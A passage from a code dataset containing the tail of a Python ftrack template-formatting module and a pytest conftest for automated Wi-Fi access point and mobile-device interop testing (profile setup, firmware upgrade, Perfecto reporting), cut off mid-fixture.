if isinstance(entity, ftrack_api.entity.component.Component):\n if entity[\"container\"]:\n entity_data[\"assetversion\"] = entity[\"container\"][\"version\"]\n entity_data[\"task\"] = entity[\"container\"][\"version\"][\"task\"]\n entity_data[\"asset\"] = entity[\"container\"][\"version\"][\"asset\"]\n entity_data[\"container\"] = entity[\"container\"]\n else:\n entity_data[\"assetversion\"] = entity[\"version\"]\n entity_data[\"task\"] = entity[\"version\"][\"task\"]\n entity_data[\"asset\"] = entity[\"version\"][\"asset\"]\n\n entity_data[\"component\"] = entity\n\n # Collect attribute paths\n data = {}\n for key in keys:\n if key.startswith(\"#\"):\n items = key.split(\".\")\n context_type = items[0].replace(\"#\", \"\")\n\n if context_type in entity_data:\n attribute_data = recurse_attribute_list(\n entity_data[context_type], items[1:]\n )\n\n data_item = data.get(items[0], {})\n data_item.update(attribute_data)\n data[items[0]] = data_item\n\n return data\n\n\ndef get_plausible_templates(data, templates, entity):\n\n keys = set()\n for template in templates:\n keys.update(template.keys())\n\n data.update(get_entity_data(entity, keys))\n valid_templates = []\n for template in templates:\n try:\n path = os.path.abspath(template.format(data))\n except lucidity.error.FormatError:\n continue\n else:\n valid_templates.append((path, template))\n\n return valid_templates\n\n\ndef get_valid_templates(entity, templates):\n\n plausible_templates = get_plausible_templates({}, templates, entity)\n template_length = 0\n for template in plausible_templates:\n if len(template[1].keys()) > template_length:\n template_length = len(template[1].keys())\n\n results = []\n for template in plausible_templates:\n if len(template[1].keys()) == template_length:\n results.append(template)\n\n return results\n\n\n# @ReservedAssignment\ndef format(data, templates, entity, return_mode=\"best_match\"):\n\n plausible_templates = get_plausible_templates(data, templates, entity)\n\n if plausible_templates:\n if return_mode == \"best_match\":\n match_count = 0\n best_match = None\n for template in plausible_templates:\n if match_count < len(template[1].keys()):\n match_count = len(template[1].keys())\n best_match = template\n\n if best_match:\n return best_match\n\n if return_mode == \"all\":\n\n results = []\n entities = get_entity_parents(entity) + [entity]\n for entity in entities:\n results += get_valid_templates(entity, templates)\n\n if results:\n return results\n\n raise lucidity.error.FormatError(\n 'Data {0!r} was not formattable by any of the supplied templates.'\n .format(data)\n )\n","sub_path":"ftrack_template/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"47640793","text":"import datetime\nimport sys\nimport os\nimport time\nimport warnings\nfrom selenium.common.exceptions import NoSuchElementException\nimport urllib3\nfrom perfecto.model.model import Job, Project\nfrom perfecto import (PerfectoExecutionContext, PerfectoReportiumClient,TestContext, TestResultFactory)\nimport pytest\nimport logging\nimport re\n\nsys.path.append(\n os.path.dirname(\n os.path.realpath(__file__)\n )\n)\nif \"libs\" not in sys.path:\n sys.path.append(f'../libs')\nimport allure\nfrom apnos.apnos import APNOS\nfrom controller.controller_1x.controller import Controller\nfrom controller.controller_1x.controller import ProfileUtility\nfrom controller.controller_1x.controller import FirmwareUtility\nimport pytest\nimport logging\nfrom configuration import RADIUS_SERVER_DATA\n\nsys.path.append(\n os.path.dirname(\n os.path.realpath(__file__)\n )\n)\nif \"tests\" not in sys.path:\n sys.path.append(f'../tests')\n\nfrom configuration import CONFIGURATION\n\nfrom urllib3 import exceptions\n\nreporting_client = None\ntestCaseNameList = []\ntestCaseStatusList = []\ntestCaseErrorMsg = []\ntestCaseReportURL = []\n\n\n@pytest.fixture(scope=\"function\")\ndef get_PassPointConniOS_data(request):\n passPoint_data = {\n \"netAnalyzer-inter-Con-Xpath\": \"//*[@label='Network Connected']/parent::*/XCUIElementTypeButton\",\n \"bundleId-iOS-Settings\": request.config.getini(\"bundleId-iOS-Settings\"),\n \"bundleId-iOS-Ping\": request.config.getini(\"bundleId-iOS-Ping\")\n }\n yield passPoint_data\n\n@pytest.fixture(scope=\"function\")\ndef get_APToMobileDevice_data(request):\n passPoint_data = {\n \"webURL\": \"https://www.google.com\",\n \"lblSearch\": \"//*[@class='gLFyf']\",\n \"elelSearch\": \"(//*[@class='sbic sb43'])[1]\",\n \"BtnRunSpeedTest\": \"//*[text()='RUN SPEED TEST']\",\n \"bundleId-iOS-Settings\": request.config.getini(\"bundleId-iOS-Settings\"),\n \"bundleId-iOS-Safari\": request.config.getini(\"bundleId-iOS-Safari\"),\n \"downloadMbps\": \"//*[@id='knowledge-verticals-internetspeedtest__download']/P[@class='spiqle']\",\n \"UploadMbps\": \"//*[@id='knowledge-verticals-internetspeedtest__upload']/P[@class='spiqle']\",\n #Android\n \"platformName-android\": request.config.getini(\"platformName-android\"),\n \"appPackage-android\": request.config.getini(\"appPackage-android\")\n }\n yield passPoint_data\n\n@pytest.fixture(scope=\"function\")\ndef get_AccessPointConn_data(request):\n passPoint_data = {\n \"bundleId-iOS-Settings\": request.config.getini(\"bundleId-iOS-Settings\"),\n \"bundleId-iOS-Ping\": request.config.getini(\"bundleId-iOS-Ping\")\n }\n yield passPoint_data\n\n@pytest.fixture(scope=\"function\")\ndef get_ToggleAirplaneMode_data(request):\n passPoint_data = {\n \"webURL\": \"https://www.google.com\",\n \"lblSearch\": \"//*[@class='gLFyf']\",\n \"elelSearch\": \"(//*[@class='sbic sb43'])[1]\",\n \"BtnRunSpeedTest\": \"//*[text()='RUN SPEED TEST']\",\n \"bundleId-iOS-Settings\": request.config.getini(\"bundleId-iOS-Settings\"),\n \"bundleId-iOS-Safari\": request.config.getini(\"bundleId-iOS-Safari\"),\n \"downloadMbps\": \"//*[@id='knowledge-verticals-internetspeedtest__download']/P[@class='spiqle']\",\n \"UploadMbps\": \"//*[@id='knowledge-verticals-internetspeedtest__upload']/P[@class='spiqle']\",\n #Android\n \"platformName-android\": request.config.getini(\"platformName-android\"),\n \"appPackage-android\": request.config.getini(\"appPackage-android\")\n }\n yield passPoint_data\n\n@pytest.fixture(scope=\"function\")\ndef get_ToggleWifiMode_data(request):\n passPoint_data = {\n #iOS\n \"bundleId-iOS-Settings\": request.config.getini(\"bundleId-iOS-Settings\"),\n #Android\n \"platformName-android\": request.config.getini(\"platformName-android\"),\n \"appPackage-android\": request.config.getini(\"appPackage-android\")\n }\n yield passPoint_data\n\n\n@pytest.fixture(scope=\"function\")\ndef get_lanforge_data(testbed):\n lanforge_data = {}\n if CONFIGURATION[testbed]['traffic_generator']['name'] == 'lanforge':\n lanforge_data = {\n \"lanforge_ip\": CONFIGURATION[testbed]['traffic_generator']['details']['ip'],\n \"lanforge-port-number\": CONFIGURATION[testbed]['traffic_generator']['details']['port'],\n \"lanforge_2dot4g\": CONFIGURATION[testbed]['traffic_generator']['details']['2.4G-Radio'][0],\n \"lanforge_5g\": CONFIGURATION[testbed]['traffic_generator']['details']['5G-Radio'][0],\n \"lanforge_2dot4g_prefix\": CONFIGURATION[testbed]['traffic_generator']['details']['2.4G-Station-Name'],\n \"lanforge_5g_prefix\": CONFIGURATION[testbed]['traffic_generator']['details']['5G-Station-Name'],\n \"lanforge_2dot4g_station\": CONFIGURATION[testbed]['traffic_generator']['details']['2.4G-Station-Name'],\n \"lanforge_5g_station\": CONFIGURATION[testbed]['traffic_generator']['details']['5G-Station-Name'],\n \"lanforge_bridge_port\": CONFIGURATION[testbed]['traffic_generator']['details']['upstream'],\n \"lanforge_vlan_port\": CONFIGURATION[testbed]['traffic_generator']['details']['upstream'] + \".100\",\n \"vlan\": 100\n }\n yield lanforge_data\n\n\n@pytest.fixture(scope=\"session\")\ndef instantiate_profile():\n yield ProfileUtility\n\n@pytest.fixture(scope=\"session\")\ndef get_equipment_id(setup_controller, testbed, get_configuration):\n equipment_id_list = []\n for i in get_configuration['access_point']:\n equipment_id_list.append(setup_controller.get_equipment_id(\n serial_number=i['serial']))\n yield equipment_id_list\n\n@pytest.fixture(scope=\"session\")\ndef upload_firmware(should_upload_firmware, instantiate_firmware, get_latest_firmware):\n firmware_id = instantiate_firmware.upload_fw_on_cloud(fw_version=get_latest_firmware,\n force_upload=should_upload_firmware)\n yield firmware_id\n\n\n@pytest.fixture(scope=\"session\")\ndef upgrade_firmware(request, instantiate_firmware, get_equipment_id, check_ap_firmware_cloud, get_latest_firmware,\n should_upgrade_firmware):\n if get_latest_firmware != check_ap_firmware_cloud:\n if request.config.getoption(\"--skip-upgrade\"):\n status = \"skip-upgrade\"\n else:\n status = instantiate_firmware.upgrade_fw(equipment_id=get_equipment_id, force_upload=False,\n force_upgrade=should_upgrade_firmware)\n else:\n if should_upgrade_firmware:\n status = instantiate_firmware.upgrade_fw(equipment_id=get_equipment_id, force_upload=False,\n force_upgrade=should_upgrade_firmware)\n else:\n status = \"skip-upgrade\"\n yield status\n\n\n@pytest.fixture(scope=\"session\")\ndef check_ap_firmware_cloud(setup_controller, get_equipment_id):\n yield setup_controller.get_ap_firmware_old_method(equipment_id=get_equipment_id)\n\n\n\"\"\"\n\nProfiles Related Fixtures\n\n\"\"\"\n\n\n@pytest.fixture(scope=\"module\")\ndef get_current_profile_cloud(instantiate_profile):\n ssid_names = []\n for i in instantiate_profile.profile_creation_ids[\"ssid\"]:\n ssid_names.append(instantiate_profile.get_ssid_name_by_profile_id(profile_id=i))\n yield ssid_names\n\n\n@pytest.fixture(scope=\"session\")\ndef setup_vlan():\n vlan_id = [100]\n yield vlan_id[0]\n\n\n@allure.feature(\"CLIENT CONNECTIVITY SETUP\")\n@pytest.fixture(scope=\"class\")\ndef setup_profiles(request, setup_controller, testbed, setup_vlan, get_equipment_id,\n instantiate_profile, get_markers,\n get_security_flags, get_configuration, radius_info, get_apnos):\n instantiate_profile = instantiate_profile(sdk_client=setup_controller)\n vlan_id, mode = 0, 0\n instantiate_profile.cleanup_objects()\n parameter = dict(request.param)\n print(parameter)\n test_cases = {}\n profile_data = {}\n if parameter['mode'] not in [\"BRIDGE\", \"NAT\", \"VLAN\"]:\n print(\"Invalid Mode: \", parameter['mode'])\n allure.attach(body=parameter['mode'], name=\"Invalid Mode: \")\n yield test_cases\n\n if parameter['mode'] == \"NAT\":\n mode = \"NAT\"\n vlan_id = 1\n if parameter['mode'] == \"BRIDGE\":\n mode = \"BRIDGE\"\n vlan_id = 1\n if parameter['mode'] == \"VLAN\":\n mode = \"BRIDGE\"\n vlan_id = setup_vlan\n\n instantiate_profile.delete_profile_by_name(profile_name=testbed + \"-Equipment-AP-\" + parameter['mode'])\n\n profile_data[\"equipment_ap\"] = {\"profile_name\": testbed + \"-Equipment-AP-\" + parameter['mode']}\n profile_data[\"ssid\"] = {}\n for i in parameter[\"ssid_modes\"]:\n profile_data[\"ssid\"][i] = []\n for j in range(len(parameter[\"ssid_modes\"][i])):\n profile_name = testbed + \"-SSID-\" + i + \"-\" + str(j) + \"-\" + parameter['mode']\n data = parameter[\"ssid_modes\"][i][j]\n data[\"profile_name\"] = profile_name\n if \"mode\" not in dict(data).keys():\n data[\"mode\"] = mode\n if \"vlan\" not in dict(data).keys():\n data[\"vlan\"] = vlan_id\n instantiate_profile.delete_profile_by_name(profile_name=profile_name)\n profile_data[\"ssid\"][i].append(data)\n # print(profile_name)\n # print(profile_data)\n\n instantiate_profile.delete_profile_by_name(profile_name=testbed + \"-Automation-Radius-Profile-\" + mode)\n time.sleep(10)\n \"\"\"\n Setting up rf profile\n \"\"\"\n rf_profile_data = {\n \"name\": \"RF-Profile-\" + testbed + \"-\" + parameter['mode'] + \"-\" +\n get_configuration['access_point'][0]['mode']\n }\n\n for i in parameter[\"rf\"]:\n rf_profile_data[i] = parameter['rf'][i]\n # print(rf_profile_data)\n\n try:\n instantiate_profile.delete_profile_by_name(profile_name=rf_profile_data['name'])\n instantiate_profile.set_rf_profile(profile_data=rf_profile_data,\n mode=get_configuration['access_point'][0]['mode'])\n allure.attach(body=str(rf_profile_data),\n name=\"RF Profile Created : \" + get_configuration['access_point'][0]['mode'])\n except Exception as e:\n print(e)\n allure.attach(body=str(e), name=\"Exception \")\n\n # Radius Profile Creation\n if parameter[\"radius\"]:\n radius_info = radius_info\n radius_info[\"name\"] = testbed + \"-Automation-Radius-Profile-\" + testbed\n instantiate_profile.delete_profile_by_name(profile_name=testbed + \"-Automation-Radius-Profile-\" + testbed)\n try:\n # pass\n instantiate_profile.create_radius_profile(radius_info=radius_info)\n allure.attach(body=str(radius_info),\n name=\"Radius Profile Created\")\n test_cases['radius_profile'] = True\n except Exception as e:\n print(e)\n test_cases['radius_profile'] = False\n\n # SSID Profile Creation\n print(get_markers)\n for mode in profile_data['ssid']:\n if mode == \"open\":\n for j in profile_data[\"ssid\"][mode]:\n # print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_open_ssid_profile(profile_data=j)\n test_cases[\"open_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"open_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_open_ssid_profile(profile_data=j)\n test_cases[\"open_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"open_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n\n if mode == \"wpa\":\n for j in profile_data[\"ssid\"][mode]:\n # print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa_ssid_profile(profile_data=j)\n test_cases[\"wpa_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa_ssid_profile(profile_data=j)\n test_cases[\"wpa_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n if mode == \"wpa2_personal\":\n for j in profile_data[\"ssid\"][mode]:\n # print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa2_personal_ssid_profile(profile_data=j)\n test_cases[\"wpa2_personal_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa2_personal_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa2_personal_ssid_profile(profile_data=j)\n test_cases[\"wpa2_personal_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa2_personal_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n\n if mode == \"wpa_wpa2_personal_mixed\":\n for j in profile_data[\"ssid\"][mode]:\n # print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa_wpa2_personal_mixed_ssid_profile(profile_data=j)\n test_cases[\"wpa_wpa2_personal_mixed_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa_wpa2_personal_mixed_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa_wpa2_personal_mixed_ssid_profile(profile_data=j)\n test_cases[\"wpa_wpa2_personal_mixed_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa_wpa2_personal_mixed_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n if mode == \"wpa3_personal\":\n for j in profile_data[\"ssid\"][mode]:\n print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa3_personal_ssid_profile(profile_data=j)\n test_cases[\"wpa3_personal_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa3_personal_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa3_personal_ssid_profile(profile_data=j)\n test_cases[\"wpa3_personal_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa3_personal_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n if mode == \"wpa3_personal_mixed\":\n for j in profile_data[\"ssid\"][mode]:\n print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa3_personal_mixed_ssid_profile(\n profile_data=j)\n test_cases[\"wpa3_personal_mixed_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa3_personal_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa3_personal_mixed_ssid_profile(\n profile_data=j)\n test_cases[\"wpa3_personal_mixed_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa3_personal_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n\n if mode == \"wpa2_enterprise\":\n for j in profile_data[\"ssid\"][mode]:\n # print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa2_enterprise_ssid_profile(profile_data=j)\n test_cases[\"wpa2_enterprise_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa2_enterprise_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa2_enterprise_ssid_profile(profile_data=j)\n test_cases[\"wpa2_enterprise_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa2_enterprise_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n\n if mode == \"wpa3_enterprise\":\n for j in profile_data[\"ssid\"][mode]:\n # print(j)\n if mode in get_markers.keys() and get_markers[mode]:\n try:\n if \"twog\" in get_markers.keys() and get_markers[\"twog\"] and \"is2dot4GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa3_enterprise_ssid_profile(profile_data=j)\n test_cases[\"wpa3_enterprise_2g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa3_enterprise_2g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n try:\n if \"fiveg\" in get_markers.keys() and get_markers[\"fiveg\"] and \"is5GHz\" in list(\n j[\"appliedRadios\"]):\n creates_profile = instantiate_profile.create_wpa3_enterprise_ssid_profile(profile_data=j)\n test_cases[\"wpa3_enterprise_5g\"] = True\n allure.attach(body=str(creates_profile),\n name=\"SSID Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"wpa3_enterprise_5g\"] = False\n allure.attach(body=str(e),\n name=\"SSID Profile Creation Failed\")\n\n # Equipment AP Profile Creation\n try:\n instantiate_profile.set_ap_profile(profile_data=profile_data['equipment_ap'])\n test_cases[\"equipment_ap\"] = True\n allure.attach(body=str(profile_data['equipment_ap']),\n name=\"Equipment AP Profile Created\")\n except Exception as e:\n print(e)\n test_cases[\"equipment_ap\"] = False\n allure.attach(body=str(e),\n name=\"Equipment AP Profile Creation Failed\")\n\n # Push the Equipment AP Profile to AP\n try:\n for i in get_equipment_id:\n instantiate_profile.push_profile_old_method(equipment_id=i)\n except Exception as e:\n print(e)\n print(\"failed to create AP Profile\")\n\n ap_ssh = get_apnos(get_configuration['access_point'][0], pwd=\"../libs/apnos/\", sdk=\"1.x\")\n ssid_names = []\n for i in instantiate_profile.profile_creation_ids[\"ssid\"]:\n ssid_names.append(instantiate_profile.get_ssid_name_by_profile_id(profile_id=i))\n ssid_names.sort()\n\n # This loop will check the VIF Config with cloud profile\n vif_config = []\n test_cases['vifc'] = False\n for i in range(0, 18):\n vif_config = list(ap_ssh.get_vif_config_ssids())\n vif_config.sort()\n print(vif_config)\n print(ssid_names)\n if ssid_names == vif_config:\n test_cases['vifc'] = True\n break\n time.sleep(10)\n allure.attach(body=str(\"VIF Config: \" + str(vif_config) + \"\\n\" + \"SSID Pushed from Controller: \" + str(ssid_names)),\n name=\"SSID Profiles in VIF Config and Controller: \")\n ap_ssh = get_apnos(get_configuration['access_point'][0], pwd=\"../libs/apnos/\", sdk=\"1.x\")\n\n # This loop will check the VIF Config with VIF State\n test_cases['vifs'] = False\n for i in range(0, 18):\n vif_state = list(ap_ssh.get_vif_state_ssids())\n vif_state.sort()\n vif_config = list(ap_ssh.get_vif_config_ssids())\n vif_config.sort()\n print(vif_config)\n print(vif_state)\n if vif_state == vif_config:\n test_cases['vifs'] = True\n break\n time.sleep(10)\n allure.attach(body=str(\"VIF Config: \" + str(vif_config) + \"\\n\" + \"VIF State: \" + str(vif_state)),\n name=\"SSID Profiles in VIF Config and VIF State: \")\n print(test_cases)\n\n def teardown_session():\n print(\"\\nRemoving Profiles\")\n instantiate_profile.delete_profile_by_name(profile_name=profile_data['equipment_ap']['profile_name'])\n instantiate_profile.delete_profile(instantiate_profile.profile_creation_ids[\"ssid\"])\n instantiate_profile.delete_profile(instantiate_profile.profile_creation_ids[\"radius\"])\n instantiate_profile.delete_profile(instantiate_profile.profile_creation_ids[\"rf\"])\n allure.attach(body=str(profile_data['equipment_ap']['profile_name'] + \"\\n\"),\n name=\"Tear Down in Profiles \")\n time.sleep(20)\n\n request.addfinalizer(teardown_session)\n yield test_cases\n\n\n\n\n@pytest.fixture(scope=\"function\")\ndef update_ssid(request, instantiate_profile, setup_profile_data):\n requested_profile = str(request.param).replace(\" \", \"\").split(\",\")\n profile = setup_profile_data[requested_profile[0]][requested_profile[1]][requested_profile[2]]\n status = instantiate_profile.update_ssid_name(profile_name=profile[\"profile_name\"],\n new_profile_name=requested_profile[3])\n setup_profile_data[requested_profile[0]][requested_profile[1]][requested_profile[2]][\"profile_name\"] = \\\n requested_profile[3]\n setup_profile_data[requested_profile[0]][requested_profile[1]][requested_profile[2]][\"ssid_name\"] = \\\n requested_profile[3]\n time.sleep(90)\n yield status\n\n\n#@pytest.fixture(scope=\"module\", autouse=True)\ndef failure_tracking_fixture(request):\n tests_failed_before_module = request.session.testsfailed\n print(\"\\n\\ntests_failed_before_module: \")\n print(tests_failed_before_module)\n tests_failed_during_module = request.session.testsfailed - tests_failed_before_module\n print(\"tests_failed_during_module: \")\n print(tests_failed_during_module)\n yield tests_failed_during_module\n\n\n@pytest.fixture(scope=\"class\")\ndef get_vif_state(get_apnos, get_configuration):\n ap_ssh = get_apnos(get_configuration['access_point'][0], pwd=\"../libs/apnos/\", sdk=\"1.x\")\n vif_state = list(ap_ssh.get_vif_state_ssids())\n vif_state.sort()\n allure.attach(name=\"vif_state\", body=str(vif_state))\n yield vif_state\n\n\n\n@pytest.hookimpl(tryfirst=True, hookwrapper=True)\ndef pytest_runtest_makereport(item, call):\n outcome = yield\n result = outcome.get_result()\n #testCaseStatusValue = \"\"\n testCasePassedStatusValue = \"\"\n testCaseFailedStatusValue = \"\"\n testCaseNameList = []\n testCaseStatusList = []\n testCaseErrorMsg = []\n testCaseReportURL = []\n\n if result.when == 'call':\n item.session.results[item] = result\n\n #Gets the Current Test Case Name\n TestCaseFullName = os.environ.get('PYTEST_CURRENT_TEST').split(':')[-1].split(' ')[0]\n nCurrentTestMethodNameSplit = re.sub(r'\\[.*?\\]\\ *', \"\", TestCaseFullName)\n #print(\"TestCasefullNameTEST: \" + TestCaseFullName)\n try:\n #TestCaseName = nCurrentTestMethodNameSplit.removeprefix('test_')\n TestCaseName = nCurrentTestMethodNameSplit.replace('test_', '')\n #print (\"\\nTestCaseName: \" + TestCaseName)\n except Exception as e:\n TestCaseName = nCurrentTestMethodNameSplit\n print(\"\\nUpgrade Python to 3.9 to avoid test_ string in your test case name, see below URL\")\n #print(\"https://www.andreagrandi.it/2020/10/11/python39-introduces-removeprefix-removesuffix/\")\n\n #exception = call.excinfo.value\n #exception_class = call.excinfo.type\n #exception_class_name = call.excinfo.typename\n\n #exception_traceback = call.excinfo.traceback\n\n if result.outcome == \"failed\":\n exception_type_and_message_formatted = call.excinfo.exconly()\n testCaseFailedStatusValue = \"FAILED\"\n reporting_client.test_stop(TestResultFactory.create_failure(str(testCaseErrorMsg)))\n testCaseNameList.append(TestCaseName)\n testCaseStatusList.append(testCaseFailedStatusValue)\n testCaseErrorMsg.append(exception_type_and_message_formatted)\n testCaseReportURL.append(reporting_client.report_url())\n\n print(\"\\n TestStatus: \" + testCaseFailedStatusValue)\n print(\" FailureMsg: \" + str(testCaseErrorMsg))\n reportPerfecto(TestCaseName, testCaseFailedStatusValue, testCaseErrorMsg, str(reporting_client.report_url()))\n\n if result.outcome == \"passed\":\n testCasePassedStatusValue = \"PASSED\"\n reporting_client.test_stop(TestResultFactory.create_success())\n testCaseNameList.append(TestCaseName)\n testCaseStatusList.append(testCasePassedStatusValue)\n testCaseReportURL.append(reporting_client.report_url())\n print(\"\\n TestStatus: \" + testCasePassedStatusValue)\n reportPerfecto(TestCaseName, testCasePassedStatusValue, \"N/A\", str(reporting_client.report_url()))\n\n if result.outcome == \"skipped\":\n testCaseSkippedStatusValue = \"SKIPPED\"\n exception_type_Skipped_message_formatted = call.excinfo.exconly()\n reporting_client.test_stop(TestResultFactory.create_failure(str(exception_type_Skipped_message_formatted)))\n testCaseNameList.append(TestCaseName)\n testCaseStatusList.append(\"SKIPPED\")\n testCaseErrorMsg.append(str(exception_type_Skipped_message_formatted))\n testCaseReportURL.append(reporting_client.report_url())\n print(\"\\n TestStatus: \" + testCaseSkippedStatusValue)\n print(\" FailureMsg: \" + str(testCaseErrorMsg))\n reportPerfecto(TestCaseName, testCaseSkippedStatusValue, testCaseErrorMsg, str(reporting_client.report_url()))\n\n\ndef pytest_sessionfinish(session, exitstatus):\n\n print()\n skipped_amount = 0\n #print('Perfecto TestCase Execution Status:', exitstatus)\n passed_amount = sum(1 for result in session.results.values() if result.passed)\n failed_amount = sum(1 for result in session.results.values() if result.failed)\n skipped_amount = sum(1 for result in session.results.values() if result.skipped)\n # print(f'There are {passed_amount} passed and {failed_amount} failed tests')\n TotalExecutedCount = failed_amount + passed_amount + skipped_amount\n\n print('\\n------------------------------------')\n print('Interop Perfecto TestCase Execution Summary')\n print('------------------------------------')\n print('Total TestCase Executed: ' + str(TotalExecutedCount))\n print('Total Passed: ' + str(passed_amount))\n print('Total Failed: ' + str(failed_amount))\n print('Total Skipped: ' + str(skipped_amount) + \"\\n\")\n\n try:\n for index in range(len(testCaseNameList)):\n print(str(index+1) + \") \" + str(testCaseNameList[index]) + \" : \" + str(testCaseStatusList[index]))\n print(\" ReportURL: \" + str(testCaseReportURL[index]))\n print(\" FailureMsg: \" + str(testCaseErrorMsg[index]) + \"\\n\")\n except Exception as e:\n print('No Interop Test Cases Executed')\n\n print('------------------------------------------------------------------\\n\\n\\n\\n')\n\n@pytest.fixture(scope=\"function\")\ndef setup_perfectoMobile_android(request):\n from appium import webdriver\n driver = None\n reporting_client = None\n\n warnings.simplefilter(\"ignore\", ResourceWarning)\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n capabilities = {\n 'platformName': request.config.getini(\"platformName-android\"),\n 'model': request.config.getini(\"model-android\"),\n 'browserName': 'mobileOS',\n #'automationName' : 'Appium',\n 'securityToken' : request.config.getini(\"securityToken\"),\n 'useAppiumForWeb' : 'false',\n 